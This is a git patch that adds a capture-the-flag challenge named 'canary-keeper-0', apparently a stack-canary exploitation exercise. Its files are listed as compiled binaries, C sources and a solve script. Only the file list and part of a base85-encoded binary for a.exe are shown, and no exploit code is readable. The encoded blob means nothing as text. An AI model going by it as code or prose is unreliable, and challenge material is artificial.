From 815b9b183aebfef041ece2120c2a2a5d76a725c7 Mon Sep 17 00:00:00 2001 From: Jack-Crowley Date: Tue, 28 May 2024 07:08:33 -0400 Subject: [PATCH 1/7] chall --- canary-keeper-0/a.exe | Bin 0 -> 137700 bytes canary-keeper-0/a.out | Bin 0 -> 16896 bytes canary-keeper-0/chall.c | 36 ++++++++++++++++++++++++++++++++++++ canary-keeper-0/provided.c | 36 ++++++++++++++++++++++++++++++++++++ canary-keeper-0/solve.py | 7 +++++++ 5 files changed, 79 insertions(+) create mode 100644 canary-keeper-0/a.exe create mode 100644 canary-keeper-0/a.out create mode 100644 canary-keeper-0/chall.c create mode 100644 canary-keeper-0/provided.c create mode 100644 canary-keeper-0/solve.py diff --git a/canary-keeper-0/a.exe b/canary-keeper-0/a.exe new file mode 100644 index 0000000000000000000000000000000000000000..73638c015f42af17b077ce6c32880bc65ba3f74c GIT binary patch literal 137700 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 